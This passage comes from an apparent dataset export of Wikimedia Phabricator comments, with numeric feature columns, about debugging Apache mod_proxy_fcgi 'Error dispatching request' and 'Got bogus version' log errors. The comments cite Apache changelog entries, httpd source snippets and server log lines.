     the value of proxy-fcgi-pathinfo. PR 55329. [Eric Covener]
 
  *) mod_proxy_fcgi: Enable UDS backends configured with SetHandler/RewriteRule
     to opt-in to connection reuse and other Proxy options via explicitly
     declared ""proxy workers"" (<Proxy unix:... enablereuse=on max=...)
     [Eric Covener]

  *) mod_proxy: Add ""enablereuse"" option as the inverse of ""disablereuse"".
     [Eric Covener]

  *) mod_proxy_fcgi: Enable opt-in to TCP connection reuse by explicitly
     setting proxy option disablereuse=off. [Eric Covener] PR 57378.

  *) mod_proxy_fcgi: Remove proxy:balancer:// prefix from SCRIPT_FILENAME
     passed to fastcgi backends. [Eric Covener]

  *) mod_proxy_fcgi: Ignore body data from backend for 304 responses. PR 57198.
     [Jan Kaluza]

  *) mod_proxy_fcgi, mod_authnz_fcgi: stop reading the response and issue an
     error when parsing or forwarding the response fails. [Yann Ylavic]

  *) mod_proxy_fcgi: Fix faulty logging of large amounts of stderr from the
     application.  PR 56858.  [Manuel Mausz <manuel-asf mausz.at>]",,,1467386710,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0.3333333333333333,0.16666666666666666,0.0,0.6666666666666666,0.3333333333333333,3.1666666666666665,0.3333333333333333,0.0,0.0,0.0,1.0,0.16666666666666666,0.0,0.0,0.16666666666666666,0.0,0.5,2.3333333333333335,8.166666666666666,0.16666666666666666,0.8333333333333334,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.16666666666666666,0.5,0.0,0.3333333333333333,1.1666666666666667,0.0,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.0,0.5,0.5,0.0,0.0,0.0,1.6666666666666667,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,17.666666666666668,0.3333333333333333,0.5,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,0.3333333333333333,0.0,2.5,1.5,14.5,1.0,1.1666666666666667,3.5,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,3.5,0.0,0.3333333333333333,8.166666666666666,10.0,0.0,1.5,0.0,0.3333333333333333,0.0,1.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,4.0,4.184975737215379,0.6881485628966032,"QUOTE
QUOTE

Might be useful to keep track of everything:

URL
URL

From 2.4.7 to 2.4.10 there are these relevant changes (from URL

  *) mod_proxy_fcgi: Use apr_socket_timeout_get instead of hard-coded
     30 seconds timeout. [Jan Kaluza]
  *) mod_proxy_fcgi: Fix error message when an unexpected protocol version
     number is received from the application.  PR 56110.  [Jeff Trawick]
  *) core: Detect incomplete request and response bodies, log an error and
     forward it to the underlying filters. PR 55475 [Yann Ylavic]
  *) mod_proxy_fcgi: Fix sending of response without some HTTP headers
     that might be set by filters.  PR 55558. [Jim Riggs <jim riggs.me>]
  *) mod_proxy_fcgi: Support iobuffersize parameter.  [Jeff Trawick]
  *) mod_proxy_fcgi: Fix occasional high CPU when handling request bodies.
     [Jeff Trawick]

From 2.4.10 onwards:

2.4.19
  *) mod_proxy_fcgi: Suppress HTTP error 503 and message 01075, 
     ""Error dispatching request"", when the cause appears to be 
     due to the client closing the connection. 
     PR58118.  [Tobias Adolph <adolph lrz.de>]

This one --^ might be easy to add as patch and afaiu is one of the main issues listed in this task. Related PR URL

2.4.11 (that was not released, so 2.4.12):

Changes with Apache 2.4.11 (not released)
  
  *) SECURITY: CVE-2014-3583 (cve.mitre.org)
     mod_proxy_fcgi: Fix a potential crash due to buffer over-read, with 
     response headers' size above 8K.  [Yann Ylavic, Jeff Trawick]

  *) mod_proxy_fcgi: Provide some basic alternate options for specifying 
     how PATH_INFO is passed to FastCGI backends by adding significance to
     the value of proxy-fcgi-pathinfo. PR 55329. [Eric Covener]
 
  *) mod_proxy_fcgi: Enable UDS backends configured with SetHandler/RewriteRule
     to opt-in to connection reuse and other Proxy options via explicitly
     declared ""proxy workers"" (<Proxy unix:... enablereuse=on max=...)
     [Eric Covener]

  *) mod_proxy: Add ""enablereuse"" option as the inverse of ""disablereuse"".
     [Eric Covener]

  *) mod_proxy_fcgi: Enable opt-in to TCP connection reuse by explicitly
     setting proxy option disablereuse=off. [Eric Covener] PR 57378.

  *) mod_proxy_fcgi: Remove proxy:balancer:// prefix from SCRIPT_FILENAME
     passed to fastcgi backends. [Eric Covener]

  *) mod_proxy_fcgi: Ignore body data from backend for 304 responses. PR 57198.
     [Jan Kaluza]

  *) mod_proxy_fcgi, mod_authnz_fcgi: stop reading the response and issue an
     error when parsing or forwarding the response fails. [Yann Ylavic]

  *) mod_proxy_fcgi: Fix faulty logging of large amounts of stderr from the
     application.  PR 56858.  [Manuel Mausz <manuel-asf mausz.at>]"
687405,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",">>! In T73487#2393128, @Joe wrote:
> The ""got bogus version 1"" is a logging bug and has been fixed in the jessie apache package.

Might be useful to keep track of everything:

https://bz.apache.org/bugzilla/show_bug.cgi?id=56110
https://svn.apache.org/r1564756

From 2.4.7 to 2.4.10 there are these relevant changes (from https://www.apache.org/dist/httpd/CHANGES_2.4):

  *) mod_proxy_fcgi: Use apr_socket_timeout_get instead of hard-coded
     30 seconds timeout. [Jan Kaluza]
  *) mod_proxy_fcgi: Fix error message when an unexpected protocol version
     number is received from the application.  PR 56110.  [Jeff Trawick]
  *) core: Detect incomplete request and response bodies, log an error and
     forward it to the underlying filters. PR 55475 [Yann Ylavic]
  *) mod_proxy_fcgi: Fix sending of response without some HTTP headers
     that might be set by filters.  PR 55558. [Jim Riggs <jim riggs.me>]
  *) mod_proxy_fcgi: Support iobuffersize parameter.  [Jeff Trawick]
  *) mod_proxy_fcgi: Fix occasional high CPU when handling request bodies.
     [Jeff Trawick]

From 2.4.10 onwards:

2.4.19
  *) mod_proxy_fcgi: Suppress HTTP error 503 and message 01075, 
     ""Error dispatching request"", when the cause appears to be 
     due to the client closing the connection. 
     PR58118.  [Tobias Adolph <adolph lrz.de>]

This one --^ might be easy to add as patch and afaiu is one of the main issues listed in this task.

2.4.11 (that was not released, so 2.4.12):

Changes with Apache 2.4.11 (not released)
  
  *) SECURITY: CVE-2014-3583 (cve.mitre.org)
     mod_proxy_fcgi: Fix a potential crash due to buffer over-read, with 
     response headers' size above 8K.  [Yann Ylavic, Jeff Trawick]

  *) mod_proxy_fcgi: Provide some basic alternate options for specifying 
     how PATH_INFO is passed to FastCGI backends by adding significance to
     the value of proxy-fcgi-pathinfo. PR 55329. [Eric Covener]
 
  *) mod_proxy_fcgi: Enable UDS backends configured with SetHandler/RewriteRule
     to opt-in to connection reuse and other Proxy options via explicitly
     declared ""proxy workers"" (<Proxy unix:... enablereuse=on max=...)
     [Eric Covener]

  *) mod_proxy: Add ""enablereuse"" option as the inverse of ""disablereuse"".
     [Eric Covener]

  *) mod_proxy_fcgi: Enable opt-in to TCP connection reuse by explicitly
     setting proxy option disablereuse=off. [Eric Covener] PR 57378.

  *) mod_proxy_fcgi: Remove proxy:balancer:// prefix from SCRIPT_FILENAME
     passed to fastcgi backends. [Eric Covener]

  *) mod_proxy_fcgi: Ignore body data from backend for 304 responses. PR 57198.
     [Jan Kaluza]

  *) mod_proxy_fcgi, mod_authnz_fcgi: stop reading the response and issue an
     error when parsing or forwarding the response fails. [Yann Ylavic]

  *) mod_proxy_fcgi: Fix faulty logging of large amounts of stderr from the
     application.  PR 56858.  [Manuel Mausz <manuel-asf mausz.at>]",,,1467386561,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0.3333333333333333,0.16666666666666666,0.0,0.6666666666666666,0.3333333333333333,3.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.16666666666666666,0.0,0.0,0.16666666666666666,0.0,0.5,2.3333333333333335,8.166666666666666,0.16666666666666666,0.8333333333333334,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.16666666666666666,0.5,0.0,0.3333333333333333,1.1666666666666667,0.0,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.0,0.5,0.5,0.0,0.0,0.0,1.6666666666666667,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,17.333333333333332,0.3333333333333333,0.5,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,0.3333333333333333,0.0,2.5,1.5,14.0,1.0,1.1666666666666667,3.5,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,3.5,0.0,0.3333333333333333,8.166666666666666,10.0,0.0,1.5,0.0,0.3333333333333333,0.0,1.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,4.0,4.18581560283688,0.6866368047779022,"QUOTE
QUOTE

Might be useful to keep track of everything:

URL
URL

From 2.4.7 to 2.4.10 there are these relevant changes (from URL

  *) mod_proxy_fcgi: Use apr_socket_timeout_get instead of hard-coded
     30 seconds timeout. [Jan Kaluza]
  *) mod_proxy_fcgi: Fix error message when an unexpected protocol version
     number is received from the application.  PR 56110.  [Jeff Trawick]
  *) core: Detect incomplete request and response bodies, log an error and
     forward it to the underlying filters. PR 55475 [Yann Ylavic]
  *) mod_proxy_fcgi: Fix sending of response without some HTTP headers
     that might be set by filters.  PR 55558. [Jim Riggs <jim riggs.me>]
  *) mod_proxy_fcgi: Support iobuffersize parameter.  [Jeff Trawick]
  *) mod_proxy_fcgi: Fix occasional high CPU when handling request bodies.
     [Jeff Trawick]

From 2.4.10 onwards:

2.4.19
  *) mod_proxy_fcgi: Suppress HTTP error 503 and message 01075, 
     ""Error dispatching request"", when the cause appears to be 
     due to the client closing the connection. 
     PR58118.  [Tobias Adolph <adolph lrz.de>]

This one --^ might be easy to add as patch and afaiu is one of the main issues listed in this task.

2.4.11 (that was not released, so 2.4.12):

Changes with Apache 2.4.11 (not released)
  
  *) SECURITY: CVE-2014-3583 (cve.mitre.org)
     mod_proxy_fcgi: Fix a potential crash due to buffer over-read, with 
     response headers' size above 8K.  [Yann Ylavic, Jeff Trawick]

  *) mod_proxy_fcgi: Provide some basic alternate options for specifying 
     how PATH_INFO is passed to FastCGI backends by adding significance to
     the value of proxy-fcgi-pathinfo. PR 55329. [Eric Covener]
 
  *) mod_proxy_fcgi: Enable UDS backends configured with SetHandler/RewriteRule
     to opt-in to connection reuse and other Proxy options via explicitly
     declared ""proxy workers"" (<Proxy unix:... enablereuse=on max=...)
     [Eric Covener]

  *) mod_proxy: Add ""enablereuse"" option as the inverse of ""disablereuse"".
     [Eric Covener]

  *) mod_proxy_fcgi: Enable opt-in to TCP connection reuse by explicitly
     setting proxy option disablereuse=off. [Eric Covener] PR 57378.

  *) mod_proxy_fcgi: Remove proxy:balancer:// prefix from SCRIPT_FILENAME
     passed to fastcgi backends. [Eric Covener]

  *) mod_proxy_fcgi: Ignore body data from backend for 304 responses. PR 57198.
     [Jan Kaluza]

  *) mod_proxy_fcgi, mod_authnz_fcgi: stop reading the response and issue an
     error when parsing or forwarding the response fails. [Yann Ylavic]

  *) mod_proxy_fcgi: Fix faulty logging of large amounts of stderr from the
     application.  PR 56858.  [Manuel Mausz <manuel-asf mausz.at>]"
687373,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",">>! In T73487#2393128, @Joe wrote:
> The ""got bogus version 1"" is a logging bug and has been fixed in the jessie apache package.

Might be useful to keep track of everything:

https://bz.apache.org/bugzilla/show_bug.cgi?id=56110
https://svn.apache.org/r1564756

From 2.4.7 to 2.4.10 there are these relevant changes (from https://www.apache.org/dist/httpd/CHANGES_2.4):

  *) mod_proxy_fcgi: Use apr_socket_timeout_get instead of hard-coded
     30 seconds timeout. [Jan Kaluza]
  *) mod_proxy_fcgi: Fix error message when an unexpected protocol version
     number is received from the application.  PR 56110.  [Jeff Trawick]
  *) core: Detect incomplete request and response bodies, log an error and
     forward it to the underlying filters. PR 55475 [Yann Ylavic]
  *) mod_proxy_fcgi: Fix sending of response without some HTTP headers
     that might be set by filters.  PR 55558. [Jim Riggs <jim riggs.me>]
  *) mod_proxy_fcgi: Support iobuffersize parameter.  [Jeff Trawick]
  *) mod_proxy_fcgi: Fix occasional high CPU when handling request bodies.
     [Jeff Trawick]


",,,1467384482,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0.5,0.5,0.0,1.0,0.0,3.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,2.5,5.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,17.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,2.0,2.0,16.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.5,5.5,10.0,0.0,0.0,0.0,0.5,0.0,1.5,1.0,0.0,1.5,0.0,0.0,5.0,4.151685393258427,0.6910112359550562,"QUOTE
QUOTE

Might be useful to keep track of everything:

URL
URL

From 2.4.7 to 2.4.10 there are these relevant changes (from URL

  *) mod_proxy_fcgi: Use apr_socket_timeout_get instead of hard-coded
     30 seconds timeout. [Jan Kaluza]
  *) mod_proxy_fcgi: Fix error message when an unexpected protocol version
     number is received from the application.  PR 56110.  [Jeff Trawick]
  *) core: Detect incomplete request and response bodies, log an error and
     forward it to the underlying filters. PR 55475 [Yann Ylavic]
  *) mod_proxy_fcgi: Fix sending of response without some HTTP headers
     that might be set by filters.  PR 55558. [Jim Riggs <jim riggs.me>]
  *) mod_proxy_fcgi: Support iobuffersize parameter.  [Jeff Trawick]
  *) mod_proxy_fcgi: Fix occasional high CPU when handling request bodies.
     [Jeff Trawick]


"
681791,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","With the following code snippet I obtain:

```
First test:
b:1 (char) or b:49 (int) is different than a:1!
Second test:
Equal!
```

```
#include <stdio.h>

#define ONE 1

int main() {

    unsigned int c = 1;
    unsigned char one_char = '1';
    printf(""First test:\n"");
    if (one_char != ONE) {
        printf(""b:%c (char) or b:%d (int) is different than a:%d!\n"",
                one_char, (int)one_char, ONE);
    } else {
        printf(""Equal!\n"");
    }
    printf(""Second test:\n"");
    if (c != ONE) {
        printf(""c:%d is different than a:%d!\n"",
                c, ONE);
    } else {
        printf(""Equal!\n"");
    }

    return 1;
}
```

Possibly a type coercion problem between int and unsigned char?
EDITED: didn't see Joe's answer before writing this :)",,,1466416795,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,50,True,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.051282051282051,0.8717948717948718,"With the following code snippet I obtain:

``CODE`CODE`CODE``

Possibly a type coercion problem between int and unsigned char?
EDITED: didn't see Joe's answer before writing this :)"
681788,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","With the following code snippet I obtain:

```
First test:
b:1 (char) or b:49 (int) is different than a:1!
Second test:
Equal!
```

```
#include <stdio.h>

#define ONE 1

int main() {

    unsigned int c = 1;
    unsigned char one_char = '1';
    printf(""First test:\n"");
    if (one_char != ONE) {
        printf(""b:%c (char) or b:%d (int) is different than a:%d!\n"",
                one_char, (int)one_char, ONE);
    } else {
        printf(""Equal!\n"");
    }
    printf(""Second test:\n"");
    if (c != ONE) {
        printf(""c:%d is different than a:%d!\n"",
                c, ONE);
    } else {
        printf(""Equal!\n"");
    }

    return 1;
}
```

Possibly a type coercion problem between int and unsigned char?",,,1466416670,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,50,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.269230769230769,0.8461538461538461,"With the following code snippet I obtain:

``CODE`CODE`CODE``

Possibly a type coercion problem between int and unsigned char?"
681784,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","The ""got bogus version 1"" is a logging bug and has been fixed in the jessie apache package.

Your suggestions make a lot of sense, in fact.

From the few bug reports about this I found, it seems this error happens under high concurrency. It doesn't seem to cause any user-facing error though.",,,1466415933,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,50,True,3.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,11.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,6.0,11.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6666666666666665,0.8181818181818182,"The ""got bogus version 1"" is a logging bug and has been fixed in the jessie apache package.

Your suggestions make a lot of sense, in fact.

From the few bug reports about this I found, it seems this error happens under high concurrency. It doesn't seem to cause any user-facing error though."
681749,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Adding some random thoughts about the following snippet of code (current httpd trunk):

```
            ap_log_rdata(APLOG_MARK, APLOG_TRACE8, r, ""FastCGI header"",
                         farray, AP_FCGI_HEADER_LEN, 0);

            ap_fcgi_header_fields_from_array(&version, &type, &rid,
                                             &clen, &plen, farray);

            if (version != AP_FCGI_VERSION_1) {
                ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01068)
                              ""Got bogus version %d"", (int)version);
                rv = APR_EINVAL;
                break;
            }

            if (rid != request_id) {
                ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01069)
                              ""Got bogus rid %d, expected %d"",
                              rid, request_id);
                rv = APR_EINVAL;
                break;
            }
```

Also in utils_fcgi.h:

```
/**
 * Possible values for the version field of ap_fcgi_header
 */
#define AP_FCGI_VERSION_1 1
```

Checked on fluorine and got logs like:

```
Jun 20 06:31:56 mw1254:  [proxy_fcgi:error] [pid 43696:tid 140476912961280] [client 10.64.0.105:36820] AH01068: Got bogus version 1, referer: https://commons.wikimedia.org/
Jun 20 06:31:56 mw1271:  [proxy_fcgi:error] [pid 140227:tid 139763034076928] [client 10.64.0.103:46746] AH01068: Got bogus version 215, referer: https://nl.wikipedia.org/
```

We could:

1) set LogLevel proxy_fcgi trace8 temporarily on a single machine to leverage ap_log_rdata and double check version/rid

2) Do some tests about the condition (version != AP_FCGI_VERSION_1), because it doesn't make any sense the ""Got bogus version 1"" error, since AP_FCGI_VERSION_1 is one.

3) Figure out why we get also ""Got bogus version X"" with X > 1",,,1466410086,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,50,True,2.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,4.0,7.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,4.5,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,9.5,3.0,0.5,5.0,0.0,0.0,1.0,0.0,3.5,0.0,3.5,0.0,2.5,7.0,4.0,0.0,4.0,0.0,2.5,0.0,1.0,0.5,0.0,1.0,0.0,0.0,2.5,4.049019607843137,0.7941176470588236,"Adding some random thoughts about the following snippet of code (current httpd trunk):

``CODE`CODE`CODE`CODE`CODE``

We could:

1) set LogLevel proxy_fcgi trace8 temporarily on a single machine to leverage ap_log_rdata and double check version/rid

2) Do some tests about the condition (version != AP_FCGI_VERSION_1), because it doesn't make any sense the ""Got bogus version 1"" error, since AP_FCGI_VERSION_1 is one.

3) Figure out why we get also ""Got bogus version X"" with X > 1"
678380,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","The bug I mentioned earlier was for the `AH01070` and has been fixed in our new apache package for jessie.

The still bogus errors `got bogus version` are still unsolved and there is an unfixed bug report for apache https://bz.apache.org/bugzilla/show_bug.cgi?id=57398

Quite interestingly, the bogus report only happens on regular appservers, not on the API ones; this might give us a chance to isolate it better.",,,1465807296,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,49,True,0.0,0.0,0.0,1.0,1.0,9.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,4.0,0.0,11.0,10.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,11.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,10.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,4.071428571428571,0.7714285714285715,"The bug I mentioned earlier was for the CODE and has been fixed in our new apache package for jessie.

The still bogus errors CODE are still unsolved and there is an unfixed bug report for apache URL

Quite interestingly, the bogus report only happens on regular appservers, not on the API ones; this might give us a chance to isolate it better."
464926,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Would be nice to get rid of those errors. They are quite spammy in logstash.

@joe mentioned it should be fixed via https://bz.apache.org/bugzilla/show_bug.cgi?id=52879 , the patch has a follow up at https://bz.apache.org/bugzilla/show_bug.cgi?id=57198",,,1432805020,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,9.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9142857142857143,"Would be nice to get rid of those errors. They are quite spammy in logstash.
SCREEN_NAME mentioned it should be fixed via URL , the patch has a follow up at URL"
437065,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Still seeing lots of these in logstash. https://logstash.wikimedia.org/#/dashboard/elasticsearch/apache2log

18,878 hits for this error in the last 15 minutes alone (most frequent error).

```
2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1020	(22)Invalid argument: AH01075: Error dispatching request to ...
2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1243	(22)Invalid argument: AH01075: Error dispatching request to ...
2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1210	(22)Invalid argument: AH01075: Error dispatching request to ...
2015-02-06T21:52:22.000Z	error	proxy_fcgi	mw1242	(22)Invalid argument: AH01075: Error dispatching request to ...
2015-02-06T21:52:22.000Z	error	proxy_fcgi	mw1185	(22)Invalid argument: AH01075: Error dispatching request to ...
	..
	referrer	  	http://fr.wikipedia.org/w/index.php?title=Portail:Triathlon/Index_th%C3%A9matique&action=submit
```",,,1427963531,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.4242424242424243,0.7878787878787878,"Still seeing lots of these in logstash. URL

18,878 hits for this error in the last 15 minutes alone (most frequent error).

``CODE``"
407997,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Still seeing lots of these in logstash. https://logstash.wikimedia.org/#/dashboard/elasticsearch/apache2log

```
2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1020	(22)Invalid argument: AH01075: Error dispatching request to ...
2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1243	(22)Invalid argument: AH01075: Error dispatching request to ...
2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1210	(22)Invalid argument: AH01075: Error dispatching request to ...
2015-02-06T21:52:22.000Z	error	proxy_fcgi	mw1242	(22)Invalid argument: AH01075: Error dispatching request to ...
2015-02-06T21:52:22.000Z	error	proxy_fcgi	mw1185	(22)Invalid argument: AH01075: Error dispatching request to ...
	..
	referrer	  	http://fr.wikipedia.org/w/index.php?title=Portail:Triathlon/Index_th%C3%A9matique&action=submit
```",,,1423259888,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.066666666666667,0.8,"Still seeing lots of these in logstash. URL

``CODE``"
